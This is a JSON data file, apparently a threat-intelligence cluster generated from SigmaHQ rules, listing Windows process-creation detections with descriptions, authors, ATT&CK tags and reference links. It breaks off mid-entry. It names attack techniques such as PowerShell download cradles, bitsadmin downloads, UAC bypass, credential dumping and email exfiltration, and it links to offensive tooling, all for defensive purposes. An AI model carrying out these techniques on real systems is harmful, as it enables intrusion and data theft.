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      "description": "Detects the rare use of the command line tool shutdown to logoff a user",
      "meta": {
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        ],
        "filename": "proc_creation_win_shutdown_logoff.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown",
          "https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562aec7500447b11fa3e17e254/atomics/T1529/T1529.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_shutdown_logoff.yml"
        ],
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          "attack.impact",
          "attack.t1529"
        ]
      },
      "related": [
        {
          "dest-uuid": "ff73aa03-0090-4464-83ac-f89e233c02bc",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ec290c06-9b6b-4338-8b6b-095c0f284f10",
      "value": "Suspicious Execution of Shutdown to Log Out"
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    {
      "description": "Detects when when a mounted share is removed. Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation",
      "meta": {
        "author": "oscd.community, @redcanary, Zach Stanford @svch0st",
        "creation_date": "2020/10/08",
        "falsepositive": [
          "Administrators or Power users may remove their shares via cmd line"
        ],
        "filename": "proc_creation_win_net_share_unmount.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.005/T1070.005.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_share_unmount.yml"
        ],
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          "attack.defense_evasion",
          "attack.t1070.005"
        ]
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        {
          "dest-uuid": "a750a9f6-0bde-4bb3-9aae-1e2786e9780c",
          "tags": [
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        }
      ],
      "uuid": "cb7c4a03-2871-43c0-9bbb-18bbdb079896",
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      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/04/17",
        "falsepositive": [
          "False positives might occur if the users are unaware of such control checks"
        ],
        "filename": "proc_creation_win_winget_add_insecure_custom_source.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://learn.microsoft.com/en-us/windows/package-manager/winget/source",
          "https://github.com/nasbench/Misc-Research/tree/b9596e8109dcdb16ec353f316678927e507a5b8d/LOLBINs/Winget",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_winget_add_insecure_custom_source.yml"
        ],
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          "attack.defense_evasion",
          "attack.execution",
          "attack.t1059"
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        {
          "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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        }
      ],
      "uuid": "81a0ecb5-0a41-4ba1-b2ba-c944eb92bfa2",
      "value": "Add Insecure Download Source To Winget"
    },
    {
      "description": "Detects the use of the 'Launch-VsDevShell.ps1' Microsoft signed script to execute commands.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
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        "falsepositive": [
          "Legitimate usage of the script by a developer"
        ],
        "filename": "proc_creation_win_lolbin_launch_vsdevshell.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/nas_bench/status/1535981653239255040",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_launch_vsdevshell.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1216.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "09cd431f-eaf4-4d2a-acaf-2a7acfe7ed58",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "45d3a03d-f441-458c-8883-df101a3bb146",
      "value": "Launch-VsDevShell.PS1 Proxy Execution"
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    {
      "description": "Detects an interactive AT job, which may be used as a form of privilege escalation.",
      "meta": {
        "author": "E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community",
        "creation_date": "2019/10/24",
        "falsepositive": [
          "Unlikely (at.exe deprecated as of Windows 8)"
        ],
        "filename": "proc_creation_win_at_interactive_execution.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.002/T1053.002.md",
          "https://eqllib.readthedocs.io/en/latest/analytics/d8db43cf-ed52-4f5c-9fb3-c9a4b95a0b56.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_at_interactive_execution.yml"
        ],
        "tags": [
          "attack.privilege_escalation",
          "attack.t1053.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "f3d95a1f-bba2-44ce-9af7-37866cd63fd0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "60fc936d-2eb0-4543-8a13-911c750a1dfc",
      "value": "Interactive AT Job"
    },
    {
      "description": "Detects usage of bitsadmin downloading a file from a suspicious domain",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/06/28",
        "falsepositive": [
          "Some legitimate apps use this, but limited."
        ],
        "filename": "proc_creation_win_bitsadmin_download_file_sharing_domains.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin",
          "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker",
          "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/",
          "https://isc.sans.edu/diary/22264",
          "https://www.cisa.gov/uscert/ncas/alerts/aa22-321a",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download_file_sharing_domains.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.persistence",
          "attack.t1197",
          "attack.s0190",
          "attack.t1036.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "c8e87b83-edbb-48d4-9295-4974897525b7",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "8518ed3d-f7c9-4601-a26c-f361a4256a0c",
      "value": "Suspicious Download From File-Sharing Website Via Bitsadmin"
    },
    {
      "description": "Detects sdiagnhost.exe calling a suspicious child process (e.g. used in exploits for Follina / CVE-2022-30190)",
      "meta": {
        "author": "Nextron Systems",
        "creation_date": "2022/06/01",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_sdiagnhost_susp_child.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/nao_sec/status/1530196847679401984",
          "https://app.any.run/tasks/c4117d9a-f463-461a-b90f-4cd258746798/",
          "https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/",
          "https://app.any.run/tasks/f420d295-0457-4e9b-9b9e-6732be227583/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sdiagnhost_susp_child.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1036",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f3d39c45-de1a-4486-a687-ab126124f744",
      "value": "Sdiagnhost Calling Suspicious Child Process"
    },
    {
      "description": "Detects the execution of rundll32 with a command line that doesn't contain a .dll file",
      "meta": {
        "author": "Tim Shelton, Florian Roth (Nextron Systems), Yassine Oukessou (fix + fp)",
        "creation_date": "2022/01/13",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_rundll32_executable_invalid_extension.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/mrd0x/status/1481630810495139841?s=12",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_executable_invalid_extension.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218.011"
        ]
      },
      "related": [
        {
          "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "c3a99af4-35a9-4668-879e-c09aeb4f2bdf",
      "value": "Rundll32 Execution Without DLL File"
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    {
      "description": "Detects potentially suspicious child processes of \"aspnet_compiler.exe\".",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/08/14",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_aspnet_compiler_susp_child_process.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Binaries/Aspnet_Compiler/",
          "https://ijustwannared.team/2020/08/01/the-curious-case-of-aspnet_compiler-exe/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_aspnet_compiler_susp_child_process.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1127"
        ]
      },
      "related": [
        {
          "dest-uuid": "ff25900d-76d5-449b-a351-8824e62fc81b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9ccba514-7cb6-4c5c-b377-700758f2f120",
      "value": "Suspicious Child Process of AspNetCompiler"
    },
    {
      "description": "Detects the Internet Information Services (IIS) command-line tool, AppCmd, being used to list passwords",
      "meta": {
        "author": "Tim Rauch, Janantha Marasinghe",
        "creation_date": "2022/11/08",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_iis_appcmd_service_account_password_dumped.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.elastic.co/guide/en/security/current/microsoft-iis-service-account-password-dumped.html",
          "https://twitter.com/0gtweet/status/1588815661085917186?cxt=HHwWhIDUyaDbzYwsAAAA",
          "https://www.netspi.com/blog/technical/network-penetration-testing/decrypting-iis-passwords-to-break-out-of-the-dmz-part-2/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_iis_appcmd_service_account_password_dumped.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003"
        ]
      },
      "related": [
        {
          "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "2d3cdeec-c0db-45b4-aa86-082f7eb75701",
      "value": "Microsoft IIS Service Account Password Dumped"
    },
    {
      "description": "Detects a Windows program executable started from a suspicious folder",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Patrick Bareiss, Anton Kutepov, oscd.community, Nasreddine Bencherchali",
        "creation_date": "2017/11/27",
        "falsepositive": [
          "Exotic software"
        ],
        "filename": "proc_creation_win_susp_system_exe_anomaly.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/GelosSnake/status/934900723426439170",
          "https://asec.ahnlab.com/en/39828/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_system_exe_anomaly.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1036"
        ]
      },
      "related": [
        {
          "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e4a6b256-3e47-40fc-89d2-7a477edd6915",
      "value": "System File Execution Location Anomaly"
    },
    {
      "description": "Detects PowerShell download and execution cradles.",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/03/24",
        "falsepositive": [
          "Some PowerShell installers were seen using similar combinations. Apply filters accordingly"
        ],
        "filename": "proc_creation_win_powershell_download_iex.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://labs.withsecure.com/publications/fin7-target-veeam-servers",
          "https://github.com/VirtualAlllocEx/Payload-Download-Cradles/blob/88e8eca34464a547c90d9140d70e9866dcbc6a12/Download-Cradles.cmd",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_download_iex.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059"
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      },
      "related": [
        {
          "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "85b0b087-eddf-4a2b-b033-d771fa2b9775",
      "value": "PowerShell Download and Execution Cradles"
    },
    {
      "description": "Detects execution of GfxDownloadWrapper.exe with a URL as an argument to download file.",
      "meta": {
        "author": "Victor Sergeev, oscd.community",
        "creation_date": "2020/10/09",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_gfxdownloadwrapper_arbitrary_file_download.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/HonorableMentions/GfxDownloadWrapper/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_gfxdownloadwrapper_arbitrary_file_download.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1105"
        ]
      },
      "related": [
        {
          "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "eee00933-a761-4cd0-be70-c42fe91731e7",
      "value": "Arbitrary File Download Via GfxDownloadWrapper.EXE"
    },
    {
      "description": "Detects the pattern of UAC Bypass using a msconfig GUI hack (UACMe 55)",
      "meta": {
        "author": "Christian Burkard (Nextron Systems)",
        "creation_date": "2021/08/30",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_uac_bypass_msconfig_gui.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/hfiref0x/UACME",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_msconfig_gui.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1548.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ad92e3f9-7eb6-460e-96b1-582b0ccbb980",
      "value": "UAC Bypass Using MSConfig Token Modification - Process"
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      "description": "An adversary might use WMI to check if a certain remote service is running on a remote device.\nWhen the test completes, a service information will be displayed on the screen if it exists.\nA common feedback message is that \"No instance(s) Available\" if the service queried is not running.\nA common error message is \"Node - (provided IP or default) ERROR Description =The RPC server is unavailable\" if the provided remote host is unreachable\n",
      "meta": {
        "author": "frack113, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/02/14",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_wmic_recon_service.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wmic",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1047/T1047.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_recon_service.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1047"
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      },
      "related": [
        {
          "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "76f55eaa-d27f-4213-9d45-7b0e4b60bbae",
      "value": "Service Reconnaissance Via Wmic.EXE"
    },
    {
      "description": "Detects updates to Sysmon's configuration. Attackers might update or replace the Sysmon configuration with a bare bone one to avoid monitoring without shutting down the service completely",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/03/09",
        "falsepositive": [
          "Legitimate administrators might use this command to update Sysmon configuration."
        ],
        "filename": "proc_creation_win_sysinternals_sysmon_config_update.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_sysmon_config_update.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "87911521-7098-470b-a459-9a57fc80bdfd",
      "value": "Sysmon Configuration Update"
    },
    {
      "description": "Detects a suspicious script execution in temporary folders or folders accessible by environment variables",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/02/08",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_susp_script_exec_from_env_folder.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://learn.microsoft.com/en-us/windows/win32/shell/csidl",
          "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-russia-ukraine-military",
          "https://www.virustotal.com/gui/file/91ba814a86ddedc7a9d546e26f912c541205b47a853d227756ab1334ade92c3f",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_script_exec_from_env_folder.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059"
        ]
      },
      "related": [
        {
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      "uuid": "1228c958-e64e-4e71-92ad-7d429f4138ba",
      "value": "Script Interpreter Execution From Suspicious Folder"
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    {
      "description": "Detects execution of \"curl.exe\" with the \"--insecure\" flag.",
      "meta": {
        "author": "X__Junior (Nextron Systems)",
        "creation_date": "2023/06/30",
        "falsepositive": [
          "Access to badly maintained internal or development systems"
        ],
        "filename": "proc_creation_win_curl_insecure_connection.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://curl.se/docs/manpage.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_curl_insecure_connection.yml"
        ],
        "tags": [
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        ]
      },
      "uuid": "cb9cc1d1-e84e-4bdc-b7ad-c31b1b7908ec",
      "value": "Insecure Transfer Via Curl.EXE"
    },
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      "description": "Detects an attempt to execute code or create service on remote host via winrm.vbs.",
      "meta": {
        "author": "Julia Fomina, oscd.community",
        "creation_date": "2020/10/07",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_winrm_execution_via_scripting_api_winrm_vbs.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://redcanary.com/blog/lateral-movement-winrm-wmi/",
          "https://lolbas-project.github.io/lolbas/Scripts/Winrm/",
          "https://twitter.com/bohops/status/994405551751815170",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_winrm_execution_via_scripting_api_winrm_vbs.yml"
        ],
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          "attack.t1216"
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      },
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      ],
      "uuid": "9df0dd3a-1a5c-47e3-a2bc-30ed177646a0",
      "value": "Remote Code Execute via Winrm.vbs"
    },
    {
      "description": "Detects email exfiltration via powershell cmdlets",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems),  Azure-Sentinel (idea)",
        "creation_date": "2022/09/09",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_powershell_email_exfil.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/Azure/Azure-Sentinel/blob/7e6aa438e254d468feec061618a7877aa528ee9f/Hunting%20Queries/Microsoft%20365%20Defender/Ransomware/DEV-0270/Email%20data%20exfiltration%20via%20PowerShell.yaml",
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          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_email_exfil.yml"
        ],
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          "attack.exfiltration"
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      "value": "Email Exifiltration Via Powershell"
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      "meta": {
        "author": "Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton",
        "creation_date": "2020/10/11",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_powershell_cmdline_reversed_strings.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=66",
          "https://2019.offzone.moscow/ru/report/hunting-for-powershell-abuses/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cmdline_reversed_strings.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1027",
          "attack.execution",
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      },
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        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
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      "uuid": "b6b49cd1-34d6-4ead-b1bf-176e9edba9a4",
      "value": "Potential PowerShell Obfuscation Via Reversed Commands"
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      "meta": {
        "author": "Max Altgelt (Nextron Systems)",
        "creation_date": "2022/08/23",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_susp_sysnative.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_sysnative.yml"
        ],
        "tags": [
          "attack.t1055"
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      },
      "related": [
        {
          "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
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    },
    {
      "description": "Detects usage of \"msedge_proxy.exe\" to download arbitrary files",
      "meta": {
        "author": "Swachchhanda Shrawan Poudel",
        "creation_date": "2023/11/09",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_msedge_proxy_download.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Binaries/msedge_proxy/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msedge_proxy_download.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.execution",
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      },
      "related": [
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          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
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      ],
      "uuid": "e84d89c4-f544-41ca-a6af-4b92fd38b023",
      "value": "Arbitrary File Download Via MSEDGE_PROXY.EXE"
    },
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      "description": "Detects Crassus, a Windows privilege escalation discovery tool, based on PE metadata characteristics.",
      "meta": {
        "author": "pH-T (Nextron Systems)",
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        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_pua_crassus.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/vu-ls/Crassus",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_crassus.yml"
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        "tags": [
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      },
      "related": [
        {
          "dest-uuid": "e3b168bd-fcd7-439e-9382-2e6c2f63514d",
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      ],
      "uuid": "2c32b543-1058-4808-91c6-5b31b8bed6c5",
      "value": "PUA - Crassus Execution"
    },
    {
      "description": "Detects usage of winget to add new additional download sources",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/04/17",
        "falsepositive": [
          "False positive are expected with legitimate sources"
        ],
        "filename": "proc_creation_win_winget_add_custom_source.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://learn.microsoft.com/en-us/windows/package-manager/winget/source",
          "https://github.com/nasbench/Misc-Research/tree/b9596e8109dcdb16ec353f316678927e507a5b8d/LOLBINs/Winget",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_winget_add_custom_source.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.execution",
          "attack.t1059"
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      },
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      ],
      "uuid": "05ebafc8-7aa2-4bcd-a269-2aec93f9e842",
      "value": "Add New Download Source To Winget"
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      "description": "Detects execution of the built-in script located in \"C:\\Windows\\System32\\gatherNetworkInfo.vbs\". Which can be used to gather information about the target machine",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/02/08",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_susp_gather_network_info_execution.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.mandiant.com/resources/blog/trojanized-windows-installers-ukrainian-government",
          "https://posts.slayerlabs.com/living-off-the-land/#gathernetworkinfovbs",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_gather_network_info_execution.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.execution",
          "attack.t1615",
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      "related": [
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          "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
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      "uuid": "07aa184a-870d-413d-893a-157f317f6f58",
      "value": "Suspicious Reconnaissance Activity Via GatherNetworkInfo.VBS"
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      "description": "Detects a suspicious or uncommon parent processes of PowerShell",
      "meta": {
        "author": "Teymur Kheirkhabarov, Harish Segar",
        "creation_date": "2020/03/20",
        "falsepositive": [
          "Other scripts"
        ],
        "filename": "proc_creation_win_powershell_susp_parent_process.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=26",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_susp_parent_process.yml"
        ],
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      "uuid": "754ed792-634f-40ae-b3bc-e0448d33f695",
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      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2018/12/19",
        "falsepositive": [
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        ],
        "filename": "proc_creation_win_hktl_secutyxploded.yml",
        "level": "critical",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://cyberx-labs.com/blog/gangnam-industrial-style-apt-campaign-targets-korean-industrial-companies/",
          "https://securityxploded.com/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_secutyxploded.yml"
        ],
        "tags": [
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          "attack.t1555"
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      },
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        {
          "dest-uuid": "3fc9b85a-2862-4363-a64d-d692e3ffbee0",
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      "uuid": "7679d464-4f74-45e2-9e01-ac66c5eb041a",
      "value": "HackTool - SecurityXploded Execution"
    },
    {
      "description": "Detects usage of the netsh command to open and allow connections to port 3389 (RDP). As seen used by Sarwent Malware",
      "meta": {
        "author": "Sander Wiebing",
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        "falsepositive": [
          "Legitimate administration activity"
        ],
        "filename": "proc_creation_win_netsh_fw_allow_rdp.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://labs.sentinelone.com/sarwent-malware-updates-command-detonation/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_fw_allow_rdp.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.004"
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      },
      "related": [
        {
          "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b",
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      "uuid": "01aeb693-138d-49d2-9403-c4f52d7d3d62",
      "value": "RDP Connection Allowed Via Netsh.EXE"
    },
    {
      "description": "Detects the execution of the PoC that can be used to exploit Sysmon CVE-2022-41120",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/12/04",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_hktl_sysmoneop.yml",
        "level": "critical",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/Wh04m1001/SysmonEoP",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_sysmoneop.yml"
        ],
        "tags": [
          "cve.2022.41120",
          "attack.t1068",
          "attack.privilege_escalation"
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      },
      "related": [
        {
          "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839",
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      ],
      "uuid": "8a7e90c5-fe6e-45dc-889e-057fe4378bd9",
      "value": "HackTool - SysmonEOP Execution"
    },
    {
      "description": "Detects SharpLdapWhoami, a whoami alternative that queries the LDAP service on a domain controller",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/08/29",
        "falsepositive": [
          "Programs that use the same command line flags"
        ],
        "filename": "proc_creation_win_hktl_sharpldapwhoami.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/bugch3ck/SharpLdapWhoami",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_sharpldapwhoami.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1033",
